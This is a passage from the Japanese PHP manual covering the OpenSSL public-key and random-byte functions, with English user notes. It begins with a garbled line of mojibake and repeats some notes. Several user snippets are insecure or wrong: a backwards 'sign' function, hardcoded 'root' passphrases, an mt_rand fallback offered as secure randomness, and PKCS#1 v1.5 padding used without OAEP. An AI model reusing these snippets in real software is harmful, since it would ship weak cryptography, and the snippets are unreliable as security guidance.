hT!!_
#+￡-isyo≫￠aSs+uSnaO-(|eIkl[?|=?i?C+Uy・N,=b=+|TameNo|A~uNtu|@y?≫|SV5Na*|?・UyoPOFq
-? O{2|a|,aIN)+_-oF+*|{|??G-??￡/?￢±"PFL->this is a test for crypting
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:50
Encrypt using private key, decrypt using public key.

Use this for posting signed messages:  Anyone with access to
your public key can read it, but they can't create one with
your signature.

<?php
echo "Source: $source";
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_encrypt($source,$crypttext,$res);
echo "String crypted: $crypttext";

$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_decrypt($crypttext,$newsource,$pub_key);
echo "String decrypt : $newsource";
?>
billnet at tiscalinet dot it 28-Jan-2002 10:47
<?php
$fp=fopen ("/path/to/key.pem","r");
$priv_key=fread ($fp,8192);
fclose($fp);
openssl_get_privatekey ($priv_key);
openssl_private_encrypt($source,$finaltext,$priv_key);
echo "String crypted: $finaltext";
?>

CIAO !


公開鍵でデータを復号する

  • ≪ openssl_private_encrypt
  • openssl_public_encrypt ≫
  • PHP Manual
  • OpenSSL 関数
  • 公開鍵でデータを復号する

openssl_public_decrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_public_decrypt — 公開鍵でデータを復号する

説明

openssl_public_decrypt ( string $data , string &$decrypted_data , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key , int $padding = OPENSSL_PKCS1_PADDING ) : bool

openssl_public_decrypt() は、事前に openssl_private_encrypt() で暗号化された data を復号し、それを decrypted_data に格納します。

これを使用するのは、例えばメッセージの作者が秘密鍵の所有者であるかどうかを調べる場合です。

パラメータ

data

decrypted_data

public_key

public_key は、 データの暗号化に使用したものに対応する公開鍵である必要があります。

padding

padding には OPENSSL_PKCS1_PADDING あるいは OPENSSL_NO_PADDING が指定可能です。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | public_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

参考

  • openssl_private_encrypt() - 秘密鍵でデータを暗号化する
  • openssl_private_decrypt() - 秘密鍵でデータを復号する

User Contributed Notes

Hernanibus 31-Aug-2016 02:54
Just a little note on  [P.Peyremorte]'s note in manual's openssl_private_encrypt.

"- openssl_private_encrypt can encrypt a maximum of 117 chars at one time."

This depends on the length of $key:

- For a 1024 bit key length => max number of chars (bytes) to encrypt = 1024/8 - 11(when padding used) = 117 chars (bytes).
- For a 2048 bit key length => max number of chars (bytes) to encrypt = 2048/8 - 11(when padding used) = 245 chars (bytes).
... and so on

By the way, if openssl_private_encrypt fails because of data size you won't get anything but just false as returned value, the same for openssl_public_decrypt() on decryption.

"- the encrypted output string is always 129 char length. If you use base64_encode on the encrypted output, it will give always 172 chars, with the last always "=" (filler)"

This again depends on the length of $key:

- For a 1024 bit key length => encrypted number of raw bytes is always a block of 128 bytes (1024 bits) by RSA design.
- For a 2048 bit key length => encrypted number of raw bytes is always a block of 256 bytes (2048 bits) by RSA design.
... and so on

About base64_encode output length, it depends on what you encode (meaning it depends on the bytes resulting after encryption), but in general the resulting encoded string will be about a 33% bigger (for 128 bytes bout 170 bytes and for 256 bytes about 340 bytes).

I would then generalize a little [P.Peyremorte]'s note by:
<?php
// given the variables as constants:

  //Block size for encryption block cipher
  private $ENCRYPT_BLOCK_SIZE = 200;// this for 2048 bit key for example, leaving some room

  //Block size for decryption block cipher
  private $DECRYPT_BLOCK_SIZE = 256;// this again for 2048 bit key

         //For encryption we would use:
  function encrypt_RSA($plainData, $privatePEMKey)
  {
    $encrypted = '';
    $plainData = str_split($plainData, $this->ENCRYPT_BLOCK_SIZE);
    foreach($plainData as $chunk)
    {
      $partialEncrypted = '';

      //using for example OPENSSL_PKCS1_PADDING as padding
      $encryptionOk = openssl_private_encrypt($chunk, $partialEncrypted, $privatePEMKey, OPENSSL_PKCS1_PADDING);

      if($encryptionOk === false){return false;}//also you can return and error. If too big this will be false
      $encrypted .= $partialEncrypted;
    }
    return base64_encode($encrypted);//encoding the whole binary String as MIME base 64
  }

         //For decryption we would use:
  protected function decrypt_RSA($publicPEMKey, $data)
  {
    $decrypted = '';

    //decode must be done before spliting for getting the binary String
    $data = str_split(base64_decode($data), $this->DECRYPT_BLOCK_SIZE);

    foreach($data as $chunk)
    {
      $partial = '';

      //be sure to match padding
      $decryptionOK = openssl_public_decrypt($chunk, $partial, $publicPEMKey, OPENSSL_PKCS1_PADDING);

      if($decryptionOK === false){return false;}//here also processed errors in decryption. If too big this will be false
      $decrypted .= $partial;
    }
    return $decrypted;
  }
?>
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:52
Encrypt using private key, decrypt using public key.

Use this for posting signed messages:  Anyone with access to
your public key can read it, but they can't create one with
your signature.

<?php
echo "Source: $source";
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_encrypt($source,$crypttext,$res);
echo "String crypted: $crypttext";

$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_decrypt($crypttext,$newsource,$pub_key);
echo "String decrypt : $newsource";
?>
billnet at tiscalinet dot it 28-Jan-2002 10:41
<?php
$fp=fopen ("/path/to/certificato.pem");
$pub_key=fread ($fp,8192);
openssl_get_publickey ($pub_key);
openssl_public_decrypt ($source,$finaltext,$pub_key);
echo "String decrypt : $finaltext";
?>


公開鍵でデータを暗号化する

  • ≪ openssl_public_decrypt
  • openssl_random_pseudo_bytes ≫
  • PHP Manual
  • OpenSSL 関数
  • 公開鍵でデータを暗号化する

openssl_public_encrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_public_encrypt — 公開鍵でデータを暗号化する

説明

openssl_public_encrypt ( string $data , string &$encrypted_data , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key , int $padding = OPENSSL_PKCS1_PADDING ) : bool

openssl_public_encrypt() は、data を公開鍵 public_key で暗号化し、それを encrypted_data に格納します。暗号化されたデータは openssl_private_decrypt() を用いて復号可能です。

この関数を使用するのは、例えば秘密鍵の所有者にのみ読めるようにメッセージを暗号化する場合です。 また、データベースに格納するデータを安全な形式にするためにも使用されます。

パラメータ

data

encrypted_data

暗号化した結果がここに格納されます。

public_key

公開鍵。

padding

padding には OPENSSL_PKCS1_PADDING、 OPENSSL_SSLV23_PADDING、 OPENSSL_PKCS1_OAEP_PADDING、 OPENSSL_NO_PADDING が指定可能です。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | public_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

参考

  • openssl_private_encrypt() - 秘密鍵でデータを暗号化する
  • openssl_private_decrypt() - 秘密鍵でデータを復号する

User Contributed Notes

1520667045 at qq dot com 30-Oct-2020 08:22
<?php
$value =<<<EOL
some long long text
EOL;
$data = str_split($value, 214); // max is 214
$result = '';
foreach($data as $d){
    if(openssl_public_encrypt($d, $encrypted, $publickey, OPENSSL_PKCS1_OAEP_PADDING)){
        $result .= $encrypted;
    }
}
var_dump($result);
$result = base64_encode($result);
$data = str_split(base64_decode($result), 256); //every strlen($encrypted) == 256
$result = '';
foreach($data as $d){
    if(openssl_private_decrypt($d, $decrypted, $privatekey, OPENSSL_PKCS1_OAEP_PADDING)){
        $result .= $decrypted;
    }
}
var_dump($result);
?>
security at paragonie dot com 11-Dec-2015 12:00
We can't guarantee that RSA will still be trusted for security in 2016, but this is the current best practice for RSA. The rest of the world is moving on to ECDH and EdDSA (e.g. Ed25519).

That said, make sure you are using OPENSSL_PKCS1_OAEP_PADDING or else you're vulnerable to a chosen-ciphertext attack (Google: "Daniel Bleichenbacher 1998 RSA padding oracle" and you'll find plenty of material on it.)

The only fix is to use OAEP (preferably with MGF1-SHA256, but this function doesn't let you specify that detail and defaults to MGF1+SHA1).

Phpseclib offers RSAES-OAEP + MGF1-SHA256 for encryption and RSASS-PSS + MGF1-SHA256 for signatures.

http://phpseclib.sourceforge.net/rsa/examples.html#encrypt,enc1

If you don't want to hassle with these details yourself,  check out https://github.com/paragonie/EasyRSA
AoK 02-Jun-2014 03:16
Very important to recognize the maximum size $data string constraint and its relation to SSL bit size as pointed out by others.  Before I addressed the maximum size limit through blocking the data, I was receiving these types of errors from openssl_error_string():
- error:0906D06C:PEM routines:PEM_read_bio:no start line  OR
- error:0E06D06C:configuration file routines:NCONF_get_string:no value
Using a key (sha512, OPENSSL_KEYTYPE_RSA) with 2048 bits, I had a maximum message size of 245 bytes and 4096 bits yielded a max size of 502 bytes.  So if you change your key size later, in particular if you reduce the size of it, be aware it affects your maximum encryption length.
sumadhuracool at gmail dot com 23-Jun-2011 04:22
length of the data < length of the private key ..so i divided the message while taking it,put a ":::".then again encrpt it. look at the pgm to get an idea about this..

<?php
    class cry
    {
            # generate a 1024 bit rsa private key, ask for a passphrase to encrypt it and save to file
            //openssl genrsa -des3 -out /path/to/privatekey 1024

            # generate the public key for the private key and save to file
            //openssl rsa -in /path/to/privatekey -pubout -out /path/to/publickey
            //programatically using php-openssll

            //This will call while registration
            function gen_cert($userid)
            {
                $dn = array("countryName" => 'XX', "stateOrProvinceName" => 'State', "localityName" => 'SomewhereCity', "organizationName" =>'MySelf', "organizationalUnitName" => 'Whatever', "commonName" => 'mySelf', "emailAddress" => 'user@example.com');
                //Passphrase can be taken during registration
                //Here its initialized to 1234 for sample
                $privkeypass = 'root';
                $numberofdays = 365;
                //RSA encryption and 1024 bits length
                $privkey = openssl_pkey_new(array('private_key_bits' => 1024,'private_key_type' => OPENSSL_KEYTYPE_RSA));
                $csr = openssl_csr_new($dn, $privkey);
                $sscert = openssl_csr_sign($csr, null, $privkey, $numberofdays);
                openssl_x509_export($sscert, $publickey);
                openssl_pkey_export($privkey, $privatekey, $privkeypass);
                openssl_csr_export($csr, $csrStr);
                //Generated keys are stored into files
                $fp=fopen("../PKI/private/$userid.key","w");
                fwrite($fp,$privatekey);
                fclose($fp);
                $fp=fopen("../PKI/public/$userid.crt","w");
                fwrite($fp,$publickey);
                fclose($fp);
            }
            //Encryption with public key
            function encrypt($source,$rc)
            {
                //path holds the certificate path present in the system
                $path="../PKI/public/server.crt";
                $fp=fopen($path,"r");
                $pub_key=fread($fp,8192);
                fclose($fp);
                openssl_get_publickey($pub_key);
            //$source='';
                //$source="sumanth ahoiadodakjaksdsa;ldadkkllksdalkalsdl;asld;ls sumanthasddddddddddddddddddddddddddddddddfsdfsffdfsdfsumanth";
                $j=0;
                $x=strlen($source)/10;
                $y=floor($x);
                for($i=0;$i<$y;$i++)
                {
                $crypttext='';

                openssl_public_encrypt(substr($source,$j,10),$crypttext,$pub_key);$j=$j+10;
                $crt.=$crypttext;
                $crt.=":::";
                }
                if((strlen($source)%10)>0)
                {
                openssl_public_encrypt(substr($source,$j),$crypttext,$pub_key);
                $crt.=$crypttext;
                }
                return($crt);

            }
            //Decryption with private key
            function decrypt($crypttext,$userid)
            {
                $passphrase="root";
                $path="../PKI/private/server.key";
                $fpp1=fopen($path,"r");
                $priv_key=fread($fpp1,8192);
                fclose($fpp1);
                $res1= openssl_get_privatekey($priv_key,$passphrase);
                $tt=explode(":::",$crypttext);
                $cnt=count($tt);
                $i=0;
                while($i<$cnt)
                {
                openssl_private_decrypt($tt[$i],$str1,$res1);
                $str.=$str1;
                $i++;
                }
                return $str;
        }
            function sign($source,$rc)
            {
                $has=sha1($source);
                $source.="::";
                $source.=$has;
                $path="../PKI/public/$rc.crt";
                $fp=fopen($path,"r");
                $pub_key=fread($fp,8192);
                fclose($fp);
                openssl_get_publickey($pub_key);
                openssl_public_encrypt($source,$mese,$pub_key);
                return $mese;

            }
            function verify($crypttext,$userid)
            {
                $passphrase="root";
                $path="../PKI/private/$userid.key";
                $fpp1=fopen($path,"r");
                $priv_key=fread($fpp1,8192);
                fclose($fpp1);
                $res1= openssl_get_privatekey($priv_key,$passphrase);
                openssl_private_decrypt($crypttext,$has1,$res1);
                list($c1,$c2)=split("::",$has1);
                $has=sha1($c1);
                if($has==$c2)
                {
                    $message=$c1;
                    return $message;
                }
            }

    }
?>
ppostma1 14-Jun-2011 12:09
The confusion most have seems to be on "mixed $key"

The $key is explained in, and mostly the same as the parameter of http://www.php.net/manual/en/function.openssl-pkey-get-public.php

It can take the resource $key returned from openssl_pkey_get_public() OR find the value is text and passes the text to openssl_pkey_get_public() to get a valid resource.

To better break down rstinnett's example:
(and where the flaw is)

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key_string=fread($fp,8192);
  fclose($fp);
  openssl_get_publickey($pub_key);

  openssl_public_encrypt($source,$crypttext,$pub_key_string);
  /*this simply passes the string contents of pub_key_string back to be decoded*/
  return(base64_encode($crypttext));
}
?>

is more efficient:

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key_string=fread($fp,8192);
  fclose($fp);
  $key_resource = openssl_get_publickey($pub_key);

  openssl_public_encrypt($source,$crypttext, $key_resource );
  /*uses the already existing key resource*/
  return(base64_encode($crypttext));
}
?>

shorter:

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key=fread($fp,8192);
  fclose($fp);

  openssl_public_encrypt($source,$crypttext, $pub_key );

  return(base64_encode($crypttext));
}
?>
Mark Seecof 16-Jul-2010 12:37
If you need a message key, obtain it from the openssl_random_pseudo_bytes() function.

DO NOT just hash the current time-- an attacker will guess any such key very easily (he'll just hash a bunch of likely time values and try them until he finds the right one.  The attacker can generate and test many millions of candidate hashes every minute using an ordinary PC).
public at grik dot net 25-Dec-2009 10:10
openssl_private_encrypt() has a low limit for the length of the data it can encrypt due to the nature of the algorithm.

To encrypt the larger data you can use openssl_encrypt() with a random password (like sha1(microtime(true))), and encrypt the password with openssl_public_encrypt().
This way the data can be encrypted with a public key and decrypted with the private one.
adrian 02-Sep-2005 02:53
T. Horsten explained the size limits on raw encryption. Here are two functions to encrypt/decrypt larger data when you can't use the envelope functions:

function ssl_encrypt($source,$type,$key){
//Assumes 1024 bit key and encrypts in chunks.

$maxlength=117;
$output='';
while($source){
  $input= substr($source,0,$maxlength);
  $source=substr($source,$maxlength);
  if($type=='private'){
    $ok= openssl_private_encrypt($input,$encrypted,$key);
  }else{
    $ok= openssl_public_encrypt($input,$encrypted,$key);
  }

  $output.=$encrypted;
}
return $output;
}

function ssl_decrypt($source,$type,$key){
// The raw PHP decryption functions appear to work
// on 128 Byte chunks. So this decrypts long text
// encrypted with ssl_encrypt().

$maxlength=128;
$output='';
while($source){
  $input= substr($source,0,$maxlength);
  $source=substr($source,$maxlength);
  if($type=='private'){
    $ok= openssl_private_decrypt($input,$out,$key);
  }else{
    $ok= openssl_public_decrypt($input,$out,$key);
  }

  $output.=$out;
}
return $output;

}
Thomas Horsten 16-Aug-2005 04:21
chsnyder writes that the data is limited to 936 bits in his implementation.

Actually, it has nothing to do with RSA being CPU intensive, RAM or anything of the sort.

Basically when you encrypt something using an RSA key (whether public or private), the encrypted value must be smaller than the key (due to the maths used to do the actual encryption). So if you have a 1024-bit key, in theory you could encrypt any 1023-bit value (or a 1024-bit value smaller than the key) with that key.

However, the PKCS#1 standard, which OpenSSL uses, specifies a padding scheme (so you can encrypt smaller quantities without losing security), and that padding scheme takes a minimum of 11 bytes (it will be longer if the value you're encrypting is smaller). So the highest number of bits you can encrypt with a 1024-bit key is 936 bits because of this (unless you disable the padding by adding the OPENSSL_NO_PADDING flag, in which case you can go up to 1023-1024 bits). With a 2048-bit key it's 1960 bits instead.

But as chsnyder correctly wrote, the normal application of a public key encryption algorithm is to store a key or a hash of the data you want to respectively encrypt or sign. A hash is typically 128-256 bits (the PHP sha1() function returns a 160 bit hash). And an AES key is 128 to 256 bits. So either of those will comfortably fit inside a single RSA encryption.
kenashkov at gmail dot com 30-Jun-2005 05:04
The encrypted data can be stored in MySQL without use of base64. It must be properly escaped with mysql_real_escape_string(), and then saved to BLOB column. (In fact - this function must be used every time when you insert binary data in MySQL).
chsnyder at gmail dot com 19-Feb-2005 09:18
In comment below, Jeff says the input to this function is limited to "about 50 characters". On my PHP5 build, the limit is 117 characters (936 bits, strange number).

That's because public key encryption is CPU intensive, and meant to be used on short values. The idea is to use this function to encrypt a secret key that is in turn used to encrypt data using a more efficient algorithm, such as RC4 or TripleDES. The recipient uses their private key to decrypt the secret, and can then decrypt the data.

The openssl_seal() and openssl_open() functions do this internally, and are very well documented. You should probably use them instead.
pigo at ms5 dot url dot com dot tw 11-Nov-2004 12:33
openssl_public_encrypt and openssl_private_encrypt can't encrypt large data . so I write a class . this class can encrypt large data and decrypt.

look url : http://pigo.pigo.idv.tw/opensslcrypt.phps
rstinnett at bfmhconsulting dot com 06-Oct-2004 06:37
To store the encrypted data in a MySQL database, you first have to encode the data so it can safely be written. You can use a blob type for this, but it can make SELECTs really nasty. The easiest way I have found to do this is with base64_encode and base64_decode. The following example using code from a previous example and split into encrypt and decrypt functions.

function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key=fread($fp,8192);
  fclose($fp);
  openssl_get_publickey($pub_key);
  /*
   * NOTE:  Here you use the $pub_key value (converted, I guess)
   */
  openssl_public_encrypt($source,$crypttext,$pub_key);
  return(base64_encode($crypttext));
}

function DecryptData($source)
{
  #print("number : $number");
  $fp=fopen("/etc/httpd/conf/ssl.key/server.key","r");
  $priv_key=fread($fp,8192);
  fclose($fp);
  // $passphrase is required if your key is encoded (suggested)
  $res = openssl_get_privatekey($priv_key,$passphrase);
  /*
   * NOTE:  Here you use the returned resource value
   */
  $decoded_source = base64_decode($source);
  openssl_private_decrypt($decoded_source,$newsource,$res);
  return($newsource);
}

Just use the return values to store the encrypted data or display the decrypted data.
Jeff 11-May-2004 12:18
I figured it out.  This function is not intended for general encryption and decryption.  For that, you want openssl_seal() and openssl_open().
Jeff 10-May-2004 02:15
It looks like there is a limit on the size of the string to be encrypted: about 50 characters.

This is due to the fact that the implementation allocates an output buffer of size EVP_PKEY_size(pkey), which is totally arbitrary and unrelated to the size of the input.  Also, it's not using a cipher envelope approach.  It's just RSAing the input string.
lonewolf at greyskydesigns dot com 16-Apr-2003 10:28
Easy way:

<?php

$publicKey = "file://path/to/public/key-crt.pem";
$plaintext = "String to encrypt";

openssl_public_encrypt($plaintext, $encrypted, $publicKey);

echo $encrypted;   //encrypted string

?>
webmaster at costarica-travelinfo dot com 13-Mar-2003 02:51
This example worked for me:

RedHat 7.2 / php 4.2.2 / Apache 1.3.7

// STEP 1: Encryption with Public Key (you will need Private Key to decrypt - see step2).

$string="Some Important Data";
$fp=fopen ("cert.pem","r");
$pub_key=fread ($fp,8192);
fclose($fp);
$PK="";
$PK=openssl_get_publickey($pub_key);
if (!$PK) {
    echo "Cannot get public key";
}
$finaltext="";
openssl_public_encrypt($string,$finaltext,$PK);
if (!empty($finaltext)) {
    openssl_free_key($PK);
    echo "Encryption OK!";
}else{
    echo "Cannot Encrypt";
}

// STEP 2: Decription (Using Private Key)

$fp=fopen ("pk.pem","r");
$priv_key2=fread ($fp,8192);
fclose($fp);
$PK2=openssl_get_privatekey($priv_key2);
$Crypted=openssl_private_decrypt($Data,$Decrypted,$PK2);
if (!$Crypted) {
    $MSG.="<p class='error'>Cannot Decrypt ($CCID).</p>";
}else{
    echo "Decrypted Data: " . $Decrypted;
}
hromi at kyberia dot sk 07-Oct-2002 10:31
function description is wrong, you have to switch crypttext and text if you want it to work
this is correct:
bool openssl_public_encrypt ( string crypted, string data, mixed key [, int padding])
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:56
Encrypt using public key, decrypt using private key.

Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>


疑似ランダムなバイト文字列を生成する

  • ≪ openssl_public_encrypt
  • openssl_seal ≫
  • PHP Manual
  • OpenSSL 関数
  • 疑似ランダムなバイト文字列を生成する

openssl_random_pseudo_bytes

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_random_pseudo_bytes — 疑似ランダムなバイト文字列を生成する

説明

openssl_random_pseudo_bytes ( int $length , bool &$strong_result = null ) : string

疑似ランダムなバイト文字列を生成します。長さは length パラメータで指定します。

暗号学的に強いアルゴリズムを使って疑似乱数を生成したかどうかを知ることもできます。 オプションのパラメータ strong_result を使います。 これが false になることはまずないでしょうが、 古いシステムなどではそうなることもあります。

パラメータ

length

希望するバイト長。正の整数でなければなりません。PHP は、 このパラメータを非 null の整数値にキャストして利用します。

strong_result

これを渡しておくと、使ったアルゴリズムが暗号学的に強いものであるかどうかを表す bool 値が格納されます。「強い」とは、 GPG やパスワードなどに使っても安全であるという意味です。強い場合は true、そうでない場合は false となります。

返り値

成功した場合は指定したバイト長の string を返します。失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | strong_result は、nullable になりました。

例

例1 openssl_random_pseudo_bytes() の例

<?php
for ($i = 1; $i <= 4; $i++) {
    $bytes = openssl_random_pseudo_bytes($i, $cstrong);
    $hex   = bin2hex($bytes);

    echo "Lengths: Bytes: $i and Hex: " . strlen($hex) . PHP_EOL;
    var_dump($hex);
    var_dump($cstrong);
    echo PHP_EOL;
}
?>

上の例の出力は、 たとえば以下のようになります。

Lengths: Bytes: 1 and Hex: 2
string(2) "42"
bool(true)

Lengths: Bytes: 2 and Hex: 4
string(4) "dc6e"
bool(true)

Lengths: Bytes: 3 and Hex: 6
string(6) "288591"
bool(true)

Lengths: Bytes: 4 and Hex: 8
string(8) "ab86d144"
bool(true)

参考

  • random_bytes() - 暗号論的に安全な、疑似ランダムなバイト列を生成する
  • bin2hex() - バイナリのデータを16進表現に変換する
  • crypt() - 文字列の一方向のハッシュ化を行う
  • mt_rand() - メルセンヌ・ツイスター乱数生成器を介して乱数値を生成する
  • uniqid() - 一意な ID を生成する

User Contributed Notes

mailjeffclayton [at] gmail 07-Oct-2019 05:55
Getting an integer value from a given range with an even distribution:

This function I created to solve the problem of modulo results causing overlap of ranged results (which gave an uneven distribution).

What I mean for those not as familiar with the problem:

Using bytes for base 256 (base 16) and attempting to find a value in a range of values that may be for example 10-20 (a spread of 11) will not divide evenly, so values (using mod) will overlap and give more priority to some numbers than others.

Instead of calculating based on byte values, I used the byte values as keys to sort. This is very fast, and does not require large multiplications of data space that easily go over the value of Max Int.

Additionally: To make the user-supplied arguments not care about order I am using a handy swap function I found in the wild in conjunction with my function below.

// swap function

function swap(&$a,&$b) { list($a,$b)=array($b,$a); } // swap 2 variables-- no temp variable needed!

// function to get a random value within a given range of integers

function get_secure_random_ranged_value($max=99, $min=0) // handles 1 or 2 arguments, order does not matter
{
    $sortarray = array();
    $lo = (int)$min;
    $hi = (int)$max;
    if ($lo > $hi) swap($lo,$hi);
    $data_range = abs($hi - $lo) + 1; // +1 includes both the lowest 'zero' value and highest value of range
    $bytes_per_key = 4; // Max: ffff hex = 4,294,967,296 dec (over 4 billion) -- large span of random values covers massive datasets
    $num_bytes = $data_range * $bytes_per_key;
    $byte_string = (bin2hex(openssl_random_pseudo_bytes($num_bytes))); // only one call needed to get string of bytes
    $byte_blocksize = $bytes_per_key << 1; // shift multiply by 2 since a byte is 2 characters wide

    while ($key = substr($byte_string,0,$byte_blocksize)) { // get next byte block from string
        $byte_string = substr($byte_string,$byte_blocksize); // remove selected byte block from string
        $sortarray[]=$key; // populate the array with keys temporarily as array values
    }

    $sortarray = array_flip($sortarray); // swap to use the byte values as keys
    ksort($sortarray); // randomize by keys
    return array_shift($sortarray) + $lo; // grab top value from array and add it to the lowest value in the range
}

//
// example getting values from 0 to 21:
//

for ($i=1;$i<=10;$i++) { $rnd = get_secure_random_ranged_value(21); echo "-> result: ".($rnd)." <br />\n";  }

//
// example getting values from 14 to 21:
//

for ($i=1;$i<=10;$i++) { $rnd = get_secure_random_ranged_value(14,21); echo "-> result: ".($rnd)." <br />\n";  }

//
// sample results from 14-21
//

-> result: 14
-> result: 18
-> result: 20
-> result: 15
-> result: 20
-> result: 16
-> result: 21
-> result: 15
-> result: 16
-> result: 17
atesin () gmail ! com 24-Feb-2018 04:08
if unavailable use this with core functions... maybe not as secure and optimized (any help?), but practical

<?php

$bytes = '';
while (strlen($bytes) < $lenght)
  $bytes .= chr(mt_rand(0, 255));

?>
umairkhi at hotmail dot com 05-Dec-2017 07:07
After the fix of insecure number generation here:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8867

This function as well as the text here needs an update. I believe this function is safe to use in FIPS compliant apps as well as it now used RAND_bytes instead of  the insecure RAND_pseudo_bytes().
Karsey 31-Oct-2017 05:18
Why does bin2hex return twice as many characters as bytes?
powtac at gmx dot de 15-Jan-2016 02:55
[Editor's note: the bug has been fixed as of PHP 5.4.44, 5.5.28 and PHP 5.6.12]

Until PHP 5.6 openssl_random_pseudo_bytes() did NOT use a "cryptographically strong algorithm"!
See bug report https://bugs.php.net/bug.php?id=70014 and the corresponding source code at https://github.com/php/php-src/blob/php-5.6.10/ext/openssl/openssl.c#L5408
nahun@telemako 13-Sep-2013 07:25
Here's an example to show the distribution of random numbers as an image. Credit to Hayley Watson at the mt_rand page for the original comparison between rand and mt_rand.

rand is red, mt_rand is green and openssl_random_pseudo_bytes is blue.

NOTE: This is only a basic representation of the distribution of the data. Has nothing to do with the strength of the algorithms or their reliability.

<?php
header("Content-type: image/png");
$sizex=800;
$sizey=800;

$img = imagecreatetruecolor(3 * $sizex,$sizey);
$r = imagecolorallocate($img,255, 0, 0);
$g = imagecolorallocate($img,0, 255, 0);
$b = imagecolorallocate($img,0, 0, 255);
imagefilledrectangle($img, 0, 0, 3 * $sizex, $sizey, imagecolorallocate($img, 255, 255, 255));

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = rand(0,$sizex);
    imagesetpixel($img, $p, $np, $r);
    $p = $np;
}

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = mt_rand(0,$sizex);
    imagesetpixel($img, $p + $sizex, $np, $g);
    $p = $np;
}

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = floor($sizex*(hexdec(bin2hex(openssl_random_pseudo_bytes(4)))/0xffffffff));
    imagesetpixel($img, $p + (2*$sizex), $np, $b);
    $p = $np;
}

imagepng($img);
imagedestroy($img);
?>
Anonymous 06-May-2012 12:17
Another way to get random 32bit ints:
function myRand($max){
    do{
        $result = floor($max*(hexdec(bin2hex(openssl_random_pseudo_bytes(4)))/0xffffffff));
    }while($result == $max);
    return $result;
}
christophe dot weis at statec dot etat dot lu 09-Jun-2011 12:09
Another replacement for rand() using OpenSSL.

Note that a solution where the result is truncated using the modulo operator ( % ) is not cryptographically secure, as the generated numbers are not equally distributed, i.e. some numbers may occur more often than others.

A better solution than using the modulo operator is to drop the result if it is too large and generate a new one.

<?php
function crypto_rand_secure($min, $max) {
        $range = $max - $min;
        if ($range == 0) return $min; // not so random...
        $log = log($range, 2);
        $bytes = (int) ($log / 8) + 1; // length in bytes
        $bits = (int) $log + 1; // length in bits
        $filter = (int) (1 << $bits) - 1; // set all lower bits to 1
        do {
            $rnd = hexdec(bin2hex(openssl_random_pseudo_bytes($bytes, $s)));
            $rnd = $rnd & $filter; // discard irrelevant bits
        } while ($rnd >= $range);
        return $min + $rnd;
}
?>
crrodriguez at opensuse dot org 19-Jan-2011 09:32
Remember to request at very least 8 bytes of entropy, ideally 32 or 64, to avoid possible theorical bruteforce attacks.
acatalept at gmail 11-Jan-2011 11:24
FYI, openssl_random_pseudo_bytes() can be incredibly slow under Windows, to the point of being unusable.  It frequently times out (>30 seconds execution time) on several Windows machines of mine.

Apparently, it's a known problem with OpenSSL (not PHP specifically).

See: http://www.google.com/search?q=openssl_random_pseudo_bytes+slow
Tyler Larson 21-Aug-2009 02:29
If you don't have this function but you do have OpenSSL installed, you can always fake it:

<?php
    function openssl_random_pseudo_bytes($length) {
        $length_n = (int) $length; // shell injection is no fun
        $handle = popen("/usr/bin/openssl rand $length_n", "r");
        $data = stream_get_contents($handle);
        pclose($handle);
        return $data;
    }
?>


